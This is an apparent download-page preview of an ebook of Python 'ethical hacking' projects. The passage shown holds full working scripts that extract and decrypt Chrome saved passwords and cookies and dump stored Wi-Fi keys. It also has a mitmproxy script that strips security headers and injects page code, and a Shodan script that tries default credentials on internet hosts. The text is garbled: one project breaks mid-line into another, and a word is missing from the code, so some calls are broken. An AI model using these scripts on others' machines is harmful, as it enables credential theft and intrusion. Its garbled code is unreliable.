Practical Ethical Hacking with Python: Develop your own ethical hacking tools using Python

This book includes almost everything you need to start a job as a Python instructor. Learn how to make a password gener

1,756 328 7MB

English Pages 289 [245] Year 2022

Report DMCA / Copyright

DOWNLOAD FILE

Polecaj historie

Practical Ethical Hacking with Python: Develop your own ethical hacking tools using Python

Table of contents :
1. Make a Password Generator in Python
2. Make a DHCP Listener using Scapy in Python
3. Inject Code into HTTP Responses in the Network in Python
4. MAC Address Changer
5. Extract Saved WiFi Passwords
6. Extract Chrome Cookies
7. HTTP Proxy
8. Shodan API
9. Extract Chrome Passwords
10. SYN Flooding Attack
11. SQL Injection Scanner
12. Crack PDF Files
13. Brute Force ZIP File Passwords
14. WiFi Scanner
15. XSS Vulnerability Scanner
16. Brute-Force SSH Servers
17. Hide Data in Images
18. Subdomain Scanner
19. Extract All Website Links
20. Encrypt and Decrypt Files
21. Reverse Shell
22. Sniff HTTP Packets
23. Disconnect Devices from Wi-Fi
24. DNS Spoof attack
25. Make a Keylogger
26. Detect ARP Spoof Attack
27. Build an ARP Spoofer
28. Make a Network Scanner

Citation preview

About the Authors Tony Snake was received Bachelor of Computer Science from the American University, and Bachelor of Business Administration from the American University, USA. He is becoming Ph.D. Candidate of Department of Data Informatics, (National) Korea Maritime and Ocean University, Busan 49112, Republic of Korea (South Korea). His research interests are social network analysis, big data, AI and robotics. He received Best Paper Award the 15th International Conference on Multimedia Information Technology and Applications (MITA 2019)

Table of Contents Contents About the Authors 1 Table of Contents 1 Practical Ethical Hacking with Python 1 PROJECT 1: Make a Password Generator in Python 1 Imports 2 Setting up the Argument Parser 2 The Password Loop 4 Saving the Passwords 6 Examples 6 Conclusion 9 PROJECT 2: Make a DHCP Listener using Scapy in Python 10 Conclusion 12 PROJECT 3: Inject Code into HTTP Responses in the Network in Python ARP Spoofing the Target 17 Adding IPTables Rule 18 Injecting Code to HTTP Packets 18 Conclusion 19 PROJECT 4: Make a MAC Address Changer in Python 20 Changing the MAC Address on Linux 20

13

Changing the MAC Address on Windows 24 Conclusion 31 PROJECT 5: Extract Saved WiFi Passwords in Python 32 Getting Wi-Fi Passwords on Windows 32 Getting Wi-Fi Passwords on Linux 34 Conclusion 37 PROJECT 6: Extract Chrome Cookies in Python 38 Conclusion 43 PROJECT 7: Make an HTTP Proxy in Python 44 Conclusion 49 PROJECT 8: Use Shodan API in Python 49 Conclusion 55 PROJECT 9: Extract Chrome Passwords in Python 56 Deleting Passwords 61 Conclusion 62 PROJECT 10: Make a SYN Flooding Attack in Python 63 Conclusion 66 PROJECT 11: Build a SQL Injection Scanner in Python 67 Conclusion 72 PROJECT 12: Crack PDF Files in Python 73 Cracking PDF Password using pikepdf 73 Cracking PDF Password using John The Ripper 74 Cracking PDF Password using iSeePassword Dr.PDF 76 Conclusion 77 PROJECT 13: Brute Force ZIP File Passwords in Python 77 Conclusion 80 PROJECT 14: Build a WiFi Scanner in Python using Scapy 80 Getting Started 81 Writing the Code 82 Changing Channels 85 Conclusion 86 Want to Learn More about Web Scraping? 91 PROJECT 15: Build a XSS Vulnerability Scanner in Python 92 Executing Shell Commands 99 Executing Scripts 101 Conclusion 102 PROJECT 16: Brute-Force SSH Servers in Python 104 DISCLAIMER 107 PROJECT 17: Hide Data in Images using Python 108

What is Steganography? 108 What is the Least Significant Bit? 109 Getting Started 110 Handy Function to Convert Data into Binary 110 Hiding Text Inside the Image 111 Extracting Text from the Image 112 Hiding Files Inside Images 114 Running the Code 120 Conclusion 123 PROJECT 18: Make a Subdomain Scanner in Python 124 PROJECT 19: Extract All Website Links in Python 127 Want to Learn More about Web Scraping? 134 PROJECT 20: Encrypt and Decrypt Files in Python 134 Generating the Key 135 Text Encryption 136 File Encryption 138 File Encryption with Password 140 Conclusion 146 PROJECT 21: Create a Reverse Shell in Python 147 Introduction 147 Server Side 148 Client Side 150 Results 153 Conclusion 154 PROJECT 22: Sniff HTTP Packets in the Network using Scapy in Python 154 PROJECT 23: Disconnect Devices from Wi-Fi using Scapy in Python 159 PROJECT 24: Make a DNS Spoof attack using Scapy in Python 163 What is DNS 163 What is DNS Spoofing 166 Writing the Script 170 Simple Port Scanner 184 Fast (Threaded) Port Scanner 186 Conclusion 190 PROJECT 25: Make a Keylogger in Python 192 200 Conclusion 200 PROJECT 26: Detect ARP Spoof Attack using Scapy in Python 201 Writing the Script 201 PROJECT 27: Build an ARP Spoofer in Python using Scapy 204

What is ARP Spoofing 204 Writing the Python Script 206 PROJECT 28: Make a Network Scanner using Scapy in Python Summary 217

212

Practical Ethical Hacking with Python PROJECT 1: Make a Password Generator in Python Learn how to make a password generator in Python with the ability to choose the length of each character type using the built-in random, string and argparse modules. Password generators are tools that allow the user to create random and customized strong passwords based on preferences. In this tutorial, we will make a command-line tool in Python for generating passwords. We will use the argparse module to make it easier to parse the command line arguments the user has provided. Let us get started.

Imports Let us import some modules. For this program, we just need the ArgumentParser class from argparse and the random and secrets modules. We also get the string module which just has some collections of letters and numbers. We don't have to install any of these because they come with Python: from argparse import ArgumentParser

import secrets import random import string

Setting up the Argument Parser Now we continue with setting up the argument parser. To do this, we create a new instance of the ArgumentParser class to our parser variable. We give the parser a name and a description. This information will appear if the user provides the -h argument when running our program, it will also tell them the available arguments:

# Setting up the Argument Parser parser = ArgumentParser( prog='Password Generator.', description='Generate any number of passwords with this tool.' )

We continue by adding arguments to the parser. The first four will be the number of each character type; numbers, lowercase, uppercase, and special characters, we also set the type of these arguments as int : # Adding the arguments to the parser parser.add_argument("-n", "--numbers", default=0, help="Number of digits in the PW", type=int) parser.add_argument("-l", "--lowercase", default=0, help="Number of lowercase chars in the PW", type=int) parser.add_argument("-u", "--uppercase", default=0, help="Number of uppercase chars in the PW", type=int)

parser.add_argument("-s", "--special-chars", default=0, help="Number of special chars in the PW", type=int)

Next, if the user wants to instead pass the total number of characters of the password, and doesn't want to specify the exact number of each character type, then the -t or --total-length argument handles that: # add total pw length argument parser.add_argument("-t", "--total-length", type=int, help="The total password length. If passed, it will ignore -n, -l, u and -s, " \ "and generate completely random passwords with the specified length")

The next two arguments are the output file where we store the passwords, and the number of passwords to generate. The amount will be an integer and the output file is a string (default): # The amount is a number so we check it to be of type int. parser.add_argument("-a", "--amount", default=1, type=int) parser.add_argument("-o", "--output-file")

Last but not least, we parse the command line for these arguments with the parse_args() method of the ArgumentParser class. If we don't call this method the parser won't check for anything and won't raise any exceptions: # Parsing the command line arguments. args = parser.parse_args()

The Password Loop We continue with the main part of the program: the password loop. Here we generate the number of passwords specified by the user. We need to define the passwords list that will hold all the generated passwords: # list of passwords passwords = [] # Looping through the amount of passwords. for _ in range(args.amount):

In the for loop, we first check whether total_length is passed. If so, then we directly generate the random password using the length specified: if args.total_length: # generate random password with the length # of total_length based on all available characters passwords.append("".join( [secrets.choice(string.digits + string.ascii_letters + string.punctuation) \ for _ in range(args.total_length)]))

We use the secrets module instead of the random so we can generate cryptographically strong random passwords. Otherwise, we make a password list that will first hold all the possible letters and then the password string: else: password = []

Now we add the possible letters, numbers, and special characters to the password list. For each of the types, we check if it's passed to the parser. We get the respective letters from the string module: # If / how many numbers the password should contain for _ in range(args.numbers): password.append(secrets.choice(string.digits)) # If / how many uppercase characters the password should contain for _ in range(args.uppercase): password.append(secrets.choice(string.ascii_uppercase)) # If / how many lowercase characters the password should contain for _ in range(args.lowercase): password.append(secrets.choice(string.ascii_lowercase)) # If / how many special characters the password should contain for _ in range(args.special_chars): password.append(secrets.choice(string.punctuation))

Then we use the random.shuffle() function to mix up the list. This is done in place: # Shuffle the list with all the possible letters, numbers and symbols. random.shuffle(password)

After this, we join the resulting characters with an empty string "" so we have the string version of it:

# Get the letters of the string up to the length argument and then join them. password = ''.join(password)

Last but not least, we append this

password

to the passwords list.

# append this password to the overall list of password. passwords.append(password)

Again, if you're not sure how the random module works, check this tutorial that covers generating random data with this module.

Saving the Passwords After the password loop, we check if the user specified the output file. If that is the case, we simply open the file (which will be made if it doesn't exist) and write the list of passwords: # Store the password to a .txt file. if args.output_file: with open(args.output_file, 'w') as f: f.write('\n'.join(passwords))

In all cases, we print out the passwords. print('\n'.join(passwords))

Examples

Now let's use the script for generating different password combinations. First, let's print the help: $ python password_generator.py --help usage: Password Generator. [-h] [-n NUMBERS] [-l LOWERCASE] [-u UPPERCASE] [-s SPECIAL_CHARS] [-t TOTAL_LENGTH] [-a AMOUNT] [-o OUTPUT_FILE] Generate any number of passwords with this tool. optional arguments: -h, --help show this help message and exit -n NUMBERS, --numbers NUMBERS Number of digits in the PW -l LOWERCASE, --lowercase LOWERCASE Number of lowercase chars in the PW -u UPPERCASE, --uppercase UPPERCASE Number of uppercase chars in the PW -s SPECIAL_CHARS, --special-chars SPECIAL_CHARS Number of special chars in the PW -t TOTAL_LENGTH, --total-length TOTAL_LENGTH The total password length. If passed, it will ignore -n, -l, -u and -s, and generate completely random passwords with the specified length -a AMOUNT, --amount AMOUNT -o OUTPUT_FILE, --output-file OUTPUT_FILE

A lot to cover, starting with the --total-length or -t parameter: $ python password_generator.py --total-length 12

uQPxL'bkBV>#

This generated a password with a length of 12 and contains all the possible characters. Okay, let's generate 10 different passwords like that: $ python password_generator.py --total-length 12 --amount 10 &8I-%5r>2&W& k&DW= 1: print_windows_profile(profile) profiles.append(profile) return profiles def print_windows_profile(profile): """Prints a single profile on Windows""" print(f"{profile.ssid:25}{profile.ciphers:15}{profile.key:50}")

First, we call our get_windows_saved_ssids() to get all the SSIDs we connected to before, we then initialize our namedtuple to include ssid , ciphers and the key . We call the show profile [ssid] key=clear for each SSID extracted, we parse the ciphers and the key (password), and print it with the simple print_windows_profile() function.

Let's call this function now: def print_windows_profiles(verbose): """Prints all extracted SSIDs along with Key on Windows""" print("SSID CIPHER(S) KEY") print("-"*50) get_windows_saved_wifi_passwords(verbose)

So print_windows_profiles() prints all SSIDs along with the cipher and key (password).

Getting Wi-Fi Passwords on Linux On Linux, it's different, in the /etc/NetworkManager/system-connections/ directory, all previously connected networks are located here as INI files, we just have to read these files and print them in a nice format: def get_linux_saved_wifi_passwords(verbose=1): """Extracts saved Wi-Fi passwords saved in a Linux machine, this function extracts data in the `/etc/NetworkManager/system-connections/` directory Args: verbose (int, optional): whether to print saved profiles real-time. Defaults to 1. Returns: [list]: list of extracted profiles, a profile has the fields ["ssid", "auth-alg", "key-mgmt", "psk"] """ network_connections_path = "/etc/NetworkManager/system-connections/" fields = ["ssid", "auth-alg", "key-mgmt", "psk"] Profile = namedtuple("Profile", [f.replace("-", "_") for f in fields])

profiles = [] for file in os.listdir(network_connections_path): data = { k.replace("-", "_"): None for k in fields } config = configparser.ConfigParser() config.read(os.path.join(network_connections_path, file)) for _, section in config.items(): for k, v in section.items(): if k in fields: data[k.replace("-", "_")] = v profile = Profile(**data) if verbose >= 1: print_linux_profile(profile) profiles.append(profile) return profiles

def print_linux_profile(profile): """Prints a single profile on Linux""" print(f"{str(profile.ssid):25}{str(profile.auth_alg):5} {str(profile.key_mgmt):10}{str(profile.psk):50}") As mentioned, we're using os.listdir() on that directory to list all files, we then use configparser to read the INI file, and iterate over the items, if we find the fields we're interested in, we simply include them in our data. There is other information, but we're sticking to the SSID , auth-alg , mgmt and psk (password). Next, let's call the function now:

key-

def print_linux_profiles(verbose): """Prints all extracted SSIDs along with Key (PSK) on Linux""" print("SSID AUTH KEY-MGMT PSK") print("-"*50)

get_linux_saved_wifi_passwords(verbose)

Finally, let's make a function that calls either print_linux_profiles() or print_windows_profiles() based on our OS: def print_profiles(verbose=1): if os.name == "nt": print_windows_profiles(verbose) elif os.name == "posix": print_linux_profiles(verbose) else: raise NotImplemented("Code only works for either Linux or Windows")

if __name__ == "__main__": print_profiles()

Running the script: $ python get_wifi_passwords.py

Output on my Windows machine: SSID CIPHER(S) KEY -------------------------------------------------OPPO F9 CCMP/GCMP 0120123489@ TP-Link_83BE_5G CCMP/GCMP 0xxxxxxx Access Point CCMP/GCMP super123 HUAWEI P30 CCMP/GCMP 00055511

ACER CCMP/GCMP 20192019 HOTEL VINCCI MARILLIA CCMP 01012019 Bkvz-U01Hkkkkkzg CCMP/GCMP 00000011 nadj CCMP/GCMP burger010 Griffe T1 CCMP/GCMP 110011110111111 BIBLIO02 None None AndroidAP CCMP/GCMP 185338019mbs ilfes TKIP 25252516 Point CCMP/GCMP super123

And this is the Linux output: SSID AUTH KEY-MGMT PSK -------------------------------------------------KNDOMA open wpa-psk 5060012009690 TP-LINK_C4973F None None None None None None None Point open wpa-psk super123 Point None None None

Conclusion Alright, that's it for this tutorial. I'm sure this is a piece of useful code for you to quickly get the saved Wi-Fi passwords on your machine.

PROJECT 6: Extract Chrome Cookies in Python

Learn how to extract Google Chrome browser saved cookies and decrypt them on your Windows machine in Python.

As you may already know, the Chrome browser saves a lot of browsing data locally in your machine. Undoubtedly, the most dangerous is being able to extract passwords and decrypt passwords from Chrome. Also, one of the interesting stored data is cookies. However, most of the cookie values are encrypted. In this tutorial, you will learn how to extract Chrome cookies and decrypt them as well, on your Windows machine with Python. Related: How to Extract Chrome Passwords in Python. To get started, let's install the required libraries: $ pip3 install pycryptodome pypiwin32

Open up a new Python file and import the necessary modules: import os import json import base64 import sqlite3 import shutil from datetime import datetime, timedelta import win32crypt # pip install pypiwin32 from Crypto.Cipher import AES # pip install pycryptodome

Below are two handy functions that will help us later for extracting cookies (brought from chrome password extractor tutorial):

def get_chrome_datetime(chromedate): """Return a `datetime.datetime` object from a chrome format datetime Since `chromedate` is formatted as the number of microseconds since January, 1601""" if chromedate != 86400000000 and chromedate: try: return datetime(1601, 1, 1) + timedelta(microseconds=chromedate) except Exception as e: print(f"Error: {e}, chromedate: {chromedate}") return chromedate else: return "" def get_encryption_key(): local_state_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State") with open(local_state_path, "r", encoding="utf-8") as f: local_state = f.read() local_state = json.loads(local_state) # decode the encryption key from Base64 key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) # remove 'DPAPI' str key = key[5:] # return decrypted key that was originally encrypted # using a session key derived from current user's logon credentials # doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]

function converts the datetimes of chrome format into a Python datetime format. get_chrome_datetime()

extracts and decodes AES key that was used to encrypt the cookies, this is stored in "%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Local State" file in JSON format. get_encryption_key()

def decrypt_data(data, key): try: # get the initialization vector iv = data[3:15] data = data[15:] # generate cipher cipher = AES.new(key, AES.MODE_GCM, iv) # decrypt password return cipher.decrypt(data)[:-16].decode() except: try: return str(win32crypt.CryptUnprotectData(data, None, None, None, 0)[1]) except: # not supported return ""

Above function accepts the data and the AES key as parameters, and uses the key to decrypt the data to return it. Now that we have everything we need, let's dive into the main function: def main(): # local sqlite Chrome cookie database path db_path = os.path.join(os.environ["USERPROFILE"], "AppData",

"Local", "Google", "Chrome", "User Data", "Default", "Network", "Cookies") # the file to current directory # as the database will be locked if chrome is currently open filename = "Cookies.db" if not os.path.isfile(filename): # file when does not exist in the current directory shutil.file(db_path, filename)

The file that contains the cookies data is located as defined in db_path variable, we need to it to the current directory, as the database will be locked when the Chrome browser is currently open. Connecting to the SQLite database: # connect to the database db = sqlite3.connect(filename) # ignore decoding errors db.text_factory = lambda b: b.decode(errors="ignore") cursor = db.cursor() # get the cookies from `cookies` table cursor.execute(""" SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value FROM cookies""") # you can also search by domain, e.g bbc.com # cursor.execute(""" # SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value # FROM cookies

# WHERE host_key like '%bbc.com%'""")

After we connect to the database, we ignore decoding errors in case there are any, we then query the cookies table with cursor.execute() function to get all cookies stored in this file. You can also filter cookies by a domain name as shown in the commented code. Now let's get the AES key and iterate over the rows of cookies table and decrypt all encrypted data: # get the AES key key = get_encryption_key() for host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value in cursor.fetchall(): if not value: decrypted_value = decrypt_data(encrypted_value, key) else: # already decrypted decrypted_value = value print(f""" Host: {host_key} Cookie name: {name} Cookie value (decrypted): {decrypted_value} Creation datetime (UTC): {get_chrome_datetime(creation_utc)} Last access datetime (UTC): {get_chrome_datetime(last_access_utc)} Expires datetime (UTC): {get_chrome_datetime(expires_utc)} =============================================================== """) # update the cookies table with the decrypted value # and make session cookie persistent

cursor.execute(""" UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999, is_persistent = 1, is_secure = 0 WHERE host_key = ? AND name = ?""", (decrypted_value, host_key, name)) # commit changes db.commit() # close connection db.close()

We use our previously defined decrypt_data() function to decrypt encrypted_value column, we print the results and set the value column to the decrypted data. We also make the cookie persistent by setting is_persistent to 1 and also is_secure to 0 to indicate that it is not encrypted anymore. Finally, let's call the main function: if __name__ == "__main__": main()

Once you execute the script, it'll print all the cookies stored in your Chrome browser including the encrypted ones, here is a sample of the results: =============================================================== Host: www.example.com Cookie name: _fakecookiename Cookie value (decrypted): jLzIxkuEGJbygTHWAsNQRXUaieDFplZP Creation datetime (UTC): 2021-01-16 04:52:35.794367 Last access datetime (UTC): 2021-03-21 10:05:41.312598

Expires datetime (UTC): 2022-03-21 09:55:48.758558 =============================================================== ...

Conclusion Awesome, now you know how to extract your Chrome cookies and use them in Python. To protect ourselves from this, we can simply clear all cookies in the Chrome browser, or use the DELETE command in SQL in the original Cookies file to delete cookies. Another alternative solution is to use Incognito mode. In that case, the Chrome browser does not save browsing history, cookies, site data, or any information entered by users. Also, you can also extract and decrypt Chrome passwords using the same way, this tutorial shows how. A worth note though, if you want to use your cookies in Python directly without extracting them as we did here, there is a cool library that helps you do that. Disclaimer: Please run this Python script on your machine or a machine you have permission to access, otherwise, we do not take any responsibility of any misuse.

PROJECT 7: Make an HTTP Proxy in Python Learn how to use mitmproxy framework to build HTTP proxies using Python

A network proxy server is an intermediary network service that users can connect to, and that relies their traffic to other servers, proxy servers can be of different types, to list a few, there are: Reverse Proxies: proxies that hide the address of servers you are trying to connect to, apart from the obvious security use case, they are often used to perform load-balancing tasks, where the reverse proxy decides to which server it should forward the request, and caching. Popular reverse proxies are HAProxy, Nginx and Squid. Transparent proxies: these are proxies that forward your data to the server, without offering any kind of anonymity, they still change the source IP of the packets with the proxy’s IP address. They can be useful for implementing antivirus or internet filtering on entreprise networks, they can also be used to evade simple bans based on the source IP. Anonymous proxies: these are proxies that hide your identity from the target server, they are mostly used for anonymity. By protocol, proxies also can be using a variety of protocols to accomplish their features, the most popular are: HTTP Proxies: The HTTP protocol supports proxy servers, the CONNECT method is used to ask the proxy server to establish a tunnel with a remote server. Socks Proxies: The Socks protocol, which uses Kerberos for authentication, is also widely used for proxies. Related: How to Use Proxies to Rotate IP Addresses in Python. Mitmproxy is a modern, open source HTTP/HTTPS proxy, it offers a wide range of features, a command line utility, a web interface, and a Python API for scripting. In this tutorial, we will use it to implement a proxy that adds HTML and Javascript code to specific websites we visit, we also make it work with both HTTP and HTTPS. First, we need to install mitmproxy , it can be easily done with the following command on Debian-based systems:

$ sudo apt install mitmproxy

Although it's highly suggested you follow along with a Linux machine, you can also install mitmproxy on Windows in the official mitmproxy website. For this tutorial, we will write a simple proxy that adds an overlay to some pages we visit, preventing the user from clicking anything on the page by adding an overlay HTML code to the HTTP response. Below is the code for the proxy: OVERLAY_HTML = b"" OVERLAY_JS = b"" def remove_header(response, header_name): if header_name in response.headers: del response.headers[header_name]

def response(flow): # remove security headers in case they're present remove_header(flow.response, "Content-Security-Policy") remove_header(flow.response, "Strict-Transport-Security") # if content-type type isn't available, ignore if "content-type" not in flow.response.headers: return # if it's HTML & response code is 200 OK, then inject the overlay snippet (HTML & JS)

if "text/html" in flow.response.headers["content-type"] and flow.response.status_code == 200: flow.response.content += OVERLAY_HTML flow.response.content += OVERLAY_JS The script checks if the response contains HTML data, and the response code is 200 OK , if that's the case, it adds the HTML and Javascript code to the page. Content Security Policy (CSP) is a header that instructs the browser to only load scripts from specific origins, we remove it to be able to inject inline scripts, or to load scripts from different sources. The HTTP Strict Transport Security (HSTS) header tells the browser to only connect to this website via HTTPS in the future, if the browser gets this header, no man-in-the-middle will be possible when it will be acessing this website, until the HSTS rule expires. We save the above script under the name proxy.py and execute it via mitmproxy command: $ mitmproxy --ignore '^(?!duckduckgo\.com)' -s proxy.py

The --ignore flag tells mitmproxy to not proxy any domains other than duckduckgo.com (otherwise, when fetching any cross-domain resource, the certificate will be invalid, and this might break the webpage), the regular expression is a negative lookahead. Now the proxy listens on the address localhost:8080 , we must tell our browser to use it, or redirect traffic to it transparently using an iptables tool in Linux. In Firefox browser, it can be done from the network settings:

But if we want to make the proxy work for every application in our system, we will have to use iptables (in case of Linux system) to redirect all TCP traffic to our proxy: $ iptables -t nat -A OUTPUT -p tcp --match multiport --dports 80,443 -j REDIRECT --to-ports 8080

Now go to your browser and visit duckduckgo.com . Of course, if the website is using HTTPS (and it is), we will get a certificate warning, because mitmproxy generates its own certificate to be able to modify the HTML code:

But if the site is not already preloaded in the HSTS preload list (if it's the case, the browser will not allow bypassing the warning), we can proceed and visit the page:

As you can see, we will not be able to do anything in the website, as the injected HTML overlay is preventing us, you can also check if your proxy is indeed working by running the following curl command:

$ curl -x http://127.0.0.1:8080/ -k https://duckduckgo.com/

If it's working properly, you'll see the injected code in the end as shown in the following image:

Conclusion Note that the script can be used in the different proxy modes that mitmproxy supports, including regular, transparent, socks5, reverse and upstream proxying. Mitmproxy is not limited of being an HTTP proxy, we can also proxy websocket data, or even raw TCP data in a very similar way.

PROJECT 8: Python

Use Shodan API in

Learn how to use Shodan API to make a script that searches for public vulnerable servers, IoT devices, power plants and much more using Python.

Public IP addresses are routed on the Internet, which means connection can be established between any host having a public IP, and any other host connected to the Internet without having a firewall filtering the outgoing traffic, and because IPv4 is still the dominant used protocol on the Internet, it's possible and nowadays practical to crawl the whole Internet. There are a number of platforms that offer Internet scanning as a service, to list a few; Shodan, Censys, and ZoomEye. Using these services, we can scan the Internet for devices running a given service, we can find surveillance cameras, industrial control systems such as power plants, servers, IoT devices and much more. These services often offer an API, which allow programmers to take full advantage of their scan results, they're also used by product managers to check patch applications, and to get the big picture on the market shares with competitors, and also used by security researchers to find vulnerable hosts and create reports on vulnerability impacts. In this tutorial, we will look into Shodan's API using Python, and some of its practical use-cases. Shodan is by far the most popular IoT search engine, it was created in 2009, it features a web interface for exploring data manually, as well as a REST API and libraries for the most popular programming languages including Python, Ruby, Java and C#. Using most of Shodan features requires a Shodan membership, which costs 49$ at the time of writing the article for a lifetime upgrade, and which is free for students, professors and IT staff, refer to this page for more information. Once you become a member, you can manually explore data, let's try to find unprotected Axis security cameras:

As you can see, the search engine is quite powerful, especially with search filters, if you want to test more cool queries, we'd recommend checking out this list of awesome Shodan search queries. Now let's try to use Shodan API. First, we navigate to our account, to retrieve our API key:

To get started with Python, we need to install shodan library: pip3 install shodan

The example we gonna use in this tutorial is we make a script that searches for instances of DVWA (Damn Vulnerable Web Application) that still have default credentials and reports them. DVWA is an opensource project, aimed for security testing, it's a web application that is vulnerable by design, it's expected that users deploy it on their machines to use it, we will try to find instances on the Internet that already have it deployed, to use it without installing. There should be a lot of ways to search for DVWA instances, but we gonna stick with the title, as it's straightforward:

The difficulty with doing this task manually is that most of the instances should have their login credentials changed. So, to find accessible DVWA instances, it's necessary to try default credentials on each of the detected instances, we'll do that with Python: import shodan import time import requests import re # your shodan API key SHODAN_API_KEY = '' api = shodan.Shodan(SHODAN_API_KEY)

Now let's write a function that queries a page of results from Shodan, one page can contain up to 100 results, we add a loop for safety. In case there is a network or API error, we keep retrying with second delays until it works: # requests a page of data from shodan def request_page_from_shodan(query, page=1): while True:

try: instances = api.search(query, page=page) return instances except shodan.APIError as e: print(f"Error: {e}") time.sleep(5)

Let's define a function that takes a host, and checks if the credentials admin:password (defaults for DVWA) are valid, this is independent of the Shodan library, we will use requests library for submitting our credentials, and checking the result: # Try the default credentials on a given instance of DVWA, simulating a real user trying the credentials # visits the login.php page to get the CSRF token, and tries to login with admin:password def has_valid_credentials(instance): sess = requests.Session() proto = ('ssl' in instance) and 'https' or 'http' try: res = sess.get(f"{proto}://{instance['ip_str']}: {instance['port']}/login.php", verify=False) except requests.exceptions.ConnectionError: return False if res.status_code != 200: print("[-] Got HTTP status code {res.status_code}, expected 200") return False # search the CSRF token using regex token = re.search(r"user_token' value='([0-9a-f]+)'", res.text).group(1) res = sess.post(

f"{proto}://{instance['ip_str']}:{instance['port']}/login.php", f"username=admin&password=password&user_token= {token}&Login=Login", allow_redirects=False, verify=False, headers={'Content-Type': 'application/x-www-form-urlencoded'} ) if res.status_code == 302 and res.headers['Location'] == 'index.php': # Redirects to index.php, we expect an authentication success return True else: return False

The above function sends a GET request to the DVWA login page, to retrieve the user_token , then sends a POST request with the default username and password, and the CSRF token, and then it checks whether the authentication was successful or not. Let's write a function that takes a query, and iterates over the pages in Shodan search results, and for each host on each page, we call the has_valid_credentials() function: # Takes a page of results, and scans each of them, running has_valid_credentials def process_page(page): result = [] for instance in page['matches']: if has_valid_credentials(instance): print(f"[+] valid credentials at : {instance['ip_str']}:{instance['port']}") result.append(instance) return result

# searches on shodan using the given query, and iterates over each page of the results def query_shodan(query): print("[*] querying the first page") first_page = request_page_from_shodan(query) total = first_page['total'] already_processed = len(first_page['matches']) result = process_page(first_page) page = 2 while already_processed < total: # break just in your testing, API queries have monthly limits break print("querying page {page}") page = request_page_from_shodan(query, page=page) already_processed += len(page['matches']) result += process_page(page) page += 1 return result # search for DVWA instances res = query_shodan('title:dvwa') print(res)

This can be improved significantly by taking advantage of multi-threading to speed up our scanning, as we could check hosts in parallel, check this tutorial that may help you out. Here is the script output:

As you can see, this Python script works and reports hosts that has the default credentials on DVWA instances.

Conclusion Scanning for DVWA instances with default credentials might not be the most useful example, as the application is made to be vulnerable by design, and most people using it are not changing their credentials. However, using Shodan API is very powerful, and the example above highlights how it's possible to iterate over scan results, and process each of them with code, the search API is the most popular, but Shodan also supports on-demand scanning, network monitoring and more, you can check out the API reference for more details. Disclaimer: We do not encourage you to do illegal activities, with great power comes great responsibility. Using Shodan is not illegal, but bruteforcing credentials on routers and services is, and we are not responsible for any misuse of the API, or the Python code we provided.

PROJECT 9: Extract Chrome Passwords in Python Learn how to extract and decrypt Google Chrome browser saved passwords using Python with the help

of sqlite3 and other modules.

Being able to extract saved passwords in the most popular browser is a useful and handy task in forensics, as Chrome saves passwords locally in a sqlite database. However, this can be time-consuming when doing it manually. Since Chrome saves a lot of your browsing data locally in your disk, In this tutorial, we will write Python code to extract saved passwords in Chrome on your Windows machine, we will also make a quick script to protect ourselves from such attacks. To get started, let's install the required libraries: pip3 install pycryptodome pypiwin32

Open up a new Python file, and import the necessary modules: import os import json import base64 import sqlite3 import win32crypt from Crypto.Cipher import AES import shutil from datetime import timezone, datetime, timedelta

Before going straight into extract chrome passwords, we need to define some useful functions that will help us in the main function: def get_chrome_datetime(chromedate): """Return a `datetime.datetime` object from a chrome format datetime Since `chromedate` is formatted as the number of microseconds since

January, 1601""" return datetime(1601, 1, 1) + timedelta(microseconds=chromedate) def get_encryption_key(): local_state_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State") with open(local_state_path, "r", encoding="utf-8") as f: local_state = f.read() local_state = json.loads(local_state) # decode the encryption key from Base64 key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) # remove DPAPI str key = key[5:] # return decrypted key that was originally encrypted # using a session key derived from current user's logon credentials # doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] def decrypt_password(password, key): try: # get the initialization vector iv = password[3:15] password = password[15:] # generate cipher cipher = AES.new(key, AES.MODE_GCM, iv) # decrypt password return cipher.decrypt(password)[:-16].decode() except:

try: return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1]) except: # not supported return ""

get_chrome_datetime() function is responsible for converting chrome date format into a human-readable date-time format. get_encryption_key() function extracts and decodes the AES key that was used to encrypt the passwords, this is stored in "%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Local State" path as a JSON file. decrypt_password() takes the encrypted password and the AES key as arguments and returns a decrypted version of the password. Below is the main function: def main(): # get the AES key key = get_encryption_key() # local sqlite Chrome database path db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "default", "Login Data") # the file to another location # as the database will be locked if chrome is currently running filename = "ChromeData.db" shutil.file(db_path, filename) # connect to the database

db = sqlite3.connect(filename) cursor = db.cursor() # `logins` table has the data we need cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created") # iterate over all rows for row in cursor.fetchall(): origin_url = row[0] action_url = row[1] username = row[2] password = decrypt_password(row[3], key) date_created = row[4] date_last_used = row[5] if username or password: print(f"Origin URL: {origin_url}") print(f"Action URL: {action_url}") print(f"Username: {username}") print(f"Password: {password}") else: continue if date_created != 86400000000 and date_created: print(f"Creation date: {str(get_chrome_datetime(date_created))}") if date_last_used != 86400000000 and date_last_used: print(f"Last Used: {str(get_chrome_datetime(date_last_used))}") print("="*50) cursor.close() db.close() try: # try to remove the copied db file

os.remove(filename) except: pass

First, we get the encryption key using the previously defined get_encryption_key() function, then we the SQLite database (located at "%USERPROFILE%\AppData\Local\Google\Chrome\User Data\default\Login Data" that has the saved passwords to the current directory and connects to it, this is because the original database file will be locked when Chrome is currently running. After that, we make a select query to the logins table and iterate over all login rows, we also decrypt each password and reformat the date_created and date_last_used date times to more human-readable format. Finally, we print the credentials and remove the database from the current directory. Let's call the main function: if __name__ == "__main__": main()

